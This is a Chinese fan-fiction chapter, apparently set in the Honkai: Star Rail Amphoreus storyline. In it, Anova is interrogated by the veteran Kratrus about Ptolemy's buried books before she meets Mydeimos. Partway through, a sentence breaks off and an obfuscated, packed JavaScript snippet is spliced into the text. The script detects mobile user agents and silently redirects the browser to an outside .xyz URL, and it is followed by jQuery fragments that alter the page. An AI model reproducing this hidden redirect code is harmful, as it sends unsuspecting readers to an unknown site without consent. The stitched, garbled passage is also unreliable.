“啊,完全看不懂这些蚯蚓一样的字体啊。”
只是想抓住坏蛋,没想到认识了新人。
阿诺娃放下书本,暗戳戳思考着其中的缘由。
那么多书不像是可以运来埋土里,还不会被发现的那一种啊。不会就是用来料理偷偷藏起来的叛徒的吧。
往坏点想,刚刚她出去和托勒密碰面的事情已经被汇报上去了。
然后……黑色小人阴阳怪气地举报镇灵这位外乡人的所作所为,再挑拨她与其他人的关系,特别是迈德漠斯。
嘶溜嘶溜,啊呸,以我对迈德漠斯的了解,他肯定表面上不耐烦地凝视对方,回来就要打击报复我了。
阿诺娃抱住头,长吁短叹。
托勒密是叛徒的话,她就会连坐了。虽然他看上去不是,情绪尝起来也不像,但其他人不会那么简单地认为他无辜了。
啊…不会是有人设计伟大的镇灵阿诺娃大人吧,还挑这种特殊时期,“迈德漠斯,迈德漠斯——快回来吧。”
帐篷外的脚步声渐渐接近,阿诺娃坦然松了一口气,这才对嘛,要是悬锋孤军这点警惕心都没有,她都要怀疑他们存在的合理性了。
嗯,赤手空拳,没什么好收缴的,除了角落里的那把剑。
进来的悬锋士兵不言不语直接压着阿诺娃往外走。
阿诺娃也没反抗,那两位士兵并没有拿出对待罪犯的态度,比起压字,他们倒更像是护送。
“托勒密先被带走了吗?”
阿诺娃自然地搭话,她礼貌地看着士兵,不同于常人冒犯的眼神,镇灵就像是对待一位陌生的好友。
“嗯,是的。”
其中一位士兵老实回话,他小声说了一句:“不必担心,我们知道托勒密那小子不会是悬锋派来的叛徒,当然您也不会是。”
年纪大些的士兵似乎经验更丰富些,咳嗽着提醒那说话的士兵,眼珠子咕噜咕噜转,就是提醒地太明显了。
阿诺娃被送到一个大得多的帐篷,她挥了挥手向两人告别。
“不要说太多,大人有自己的计划。”
“我就是觉得王储信任的人不会有问题。”年轻的士兵不服气地回嘴。
“嘿,你小子,克拉特鲁斯大人不可信嘛!”
“本来就不对,托勒密那家伙只是孤僻了点,鬼鬼祟祟躲在角落里而已。现在水落石出了,是书而已!”
“保持对知识的敬畏之心,麦克。那些书籍足够珍贵!”老兵用小腿碰了碰对方。
“是!”
放下心理负担的阿诺娃进去的第一眼就看到瞪着眼,吹着胡子的人。
下半个脸留着浓密的胡须,大大小小的疤痕如同肆意挥洒的灰色颜料,在岁月中留下了痕迹。
“我听说过您,您是迈德漠斯的老师。”
克拉特鲁斯哼了一声,神态与之前的迈德漠斯简直一模一样。
克拉特鲁斯眯了眯眼,先发制人地大声说道:“我知道你在想什么?你在想没人可以保住你了,是不是心虚!”
“没有!”
被反驳的克拉特鲁斯伸出手指着阿诺娃,“你…你,怎么那么没礼貌。”
阿诺娃指了指自己,“胡说,我很有礼貌,只是在反驳您随意给我按上的罪名罢了。”
克拉特鲁斯挺起腰杆,浅灰的眼睛可以看出点点不满,就差拿起一根棍子狠狠敲击阿诺娃的头了。
“现在的小辈一点也没有礼貌。”
正好迈德漠斯那逆徒不在,可得好好教教他的手下。
“首先你不得直呼迈…咳,王储的名讳;其次你不得在长老院与王室成员,又或者说是高位者未允许的情况下抬头;还有遇见这些尊贵身份的主人,你需要行悬锋的敬礼。”
一口气说完这些话,可把克拉特鲁斯累坏了,他顺了顺自己的胸膛,担心自己太过刻薄,还说了一句:“你听懂了吧。”
阿诺娃诚实地摇摇头,“不是找我来说托勒密的事情吗?”
“听懂了就好。”下意识秃噜嘴都克拉特鲁斯才反应过来阿诺娃是在摇头,整个人都不好了。
“你!”
阿诺娃不解且敷衍地点点头,继续说:“您刚刚说的这些都不重要,谈谈托勒密的事情吧。”
镇灵对所谓身份差异没什么感触,更别谈敬畏之心了。
克拉特鲁斯则不死心地继续说教,在阿诺娃假装懂了的表情下,脸都僵了,牛头不对马嘴说了一阵,终于妥协了。
“好,我们现在就谈谈托勒密的事情,说吧,你们暗地里在谋划些什么事情!”
“就是挖了点书,准备先藏好,免得被叛徒告密,威胁到悬锋城里无辜的一批人。”
阿诺娃一字不落地把事实交代了出来。
克拉特鲁斯面不改色,“呵,谁知道你们是不是串通好了供词,在这里蒙我。”
镇灵摸了摸下巴,“其实您说得也对,是有这种情况。”
可怜的克拉特鲁斯没问出点什么,精神还受到严重的创伤,怎么不反驳啊,让他多套出些话啊,解释啊……
“我…给你解释的时间。”
阿诺娃指了指自己帐篷的方向以及托勒密帐篷的方向,“其实查证的话也只有那些书籍加档案了,不过我想您一定了解过了吧,您那么智慧勇敢……”
“哎哎哎——不要用花言巧语迷惑我,我可不吃这一套。”
怪不得哄得迈德漠斯那小子吃了蜜一样,还诗情画意了不少。本来就不爱读书写作,这些天居然文邹邹起来了。
克拉特鲁斯将手放在嘴边,咳了一声,一副老油条做派,在阿诺娃面前徘徊了一阵子。
“托勒密曾经报考过悬锋文案管理机关,这可是那些老家伙们藏污纳垢的好地方,这不得不让人怀疑啊。”
阿诺娃点点头,“所以他没有成功,您也没有很怀疑他。”
“我们这里不容许有任何闪失,只要有一点可能就不能简单放过,不过……。”
“托勒密很优秀,不是吗?”阿诺娃自然地接了下去。
是啊,很优秀。克拉特鲁斯沉默了一会,“悬锋啊,可不是平等的地方。那机关按理来说是只有贵族
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533007|170854||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可以考,只不过那些虚伪的老家伙说出口的是只有最优秀的文者才可以加入,为悬锋做贡献。”
“他们可想不到还真有人信了。这只是给那些贵族后代提供资源的地方,不是平等竞争的地方。”
阿诺娃想起托勒密的抱负,这位新认识的朋友没有人们眼中那么勇敢,那么她来说吧。
“悬锋孤军就是托勒密实现自己抱负的地方,托勒密他很想很想教人们读书写字。您欣赏这样的他吗?”
在克拉托鲁斯与阿诺娃对视上的那一瞬,阿诺娃坚定地说:“这里足够好,足够容下他的不同。”
这小家伙……哼,热心过头可不太好,轻信他人也不太好……行吧。
克拉特鲁斯摆了摆手,妥协地说:“这家伙每次大晚上偷偷跑出去挖洞,谁会发现不了他的异样,好了好了,的确没问题,不过他想做的事情就要自己努力了。”
“向开明的您表示敬意,托勒密一定会做到的,赢得大家的认可。”阿诺娃为托勒密感到开心,心满意足地松开拳头,颈窝处跳动的青筋隐藏于皮肤下。
好在没人发现镇灵小小的紧张与失态。
“你走吧。”克拉特鲁斯丢出这句话,转身往里走。
可迟迟没有听到脚步声。
克拉特鲁斯的眼睛缓缓转动,本以为阿诺娃会退下,等他转身,还看到少女站在原地。
“你,你怎么还在这里?”
“我在想您找我来不只是为了托勒密的事情,所以我想告诉您,我对悬锋孤军没有任何恶意,这里很好,所有人都很好。”
真白且真挚的情感让单薄的话语丰富了不少,或许镇灵也没有发现的是每当她认真起来,就不会用那些华丽不实的辞藻。
克拉特鲁斯:“听到了……我也记住了,迈德漠斯的确没看错人。”
“您勇于承认错误,是个好孩子。”
阿诺娃语速极快地说出嘴后,龙卷风般奔逃而出,没给他回嘴的机会。
克拉特鲁斯气得不轻,逆徒的逆徒,迈德漠斯你教的好徒弟。
哈…哈哈。
阿诺娃看到没人追出来,更加肆无忌惮地笑起来,发丝卷着风紧贴在脸颊上,她笑得花枝乱颤,得意极了,圆润的眼眸像是偷吃到好东西的小动物。
翁法洛斯荒野中的风有铁锈的味道,着实不假,阿诺娃顿感奇怪,怎么有铁锈味。
抬头就看到不远处静静望着她的迈德漠斯,他坐在纯褐色的马上,马似乎被主人影响,原本急躁不安地动着马蹄,现在彻底安静了下来,只是甩着尾巴。
银白的面具佩戴在他脸上,只露出熟悉的眼睛,迈德漠斯没有穿往日的红色披风,他一身黑,汗水顺着长发悄无声息地滴落。
黑乌鸦,真像只黑乌鸦,明明有着五彩斑斓的颜色,却装扮成黑夜的黯淡。
青年大战归来,并不显得狼狈,只是他身后慢慢亮起的光照亮了这片天地。
“你干了坏事?”
“不。”阿诺娃直视着对方,慢吞吞说道:“我们干了件好事,我以及你留下的关系。”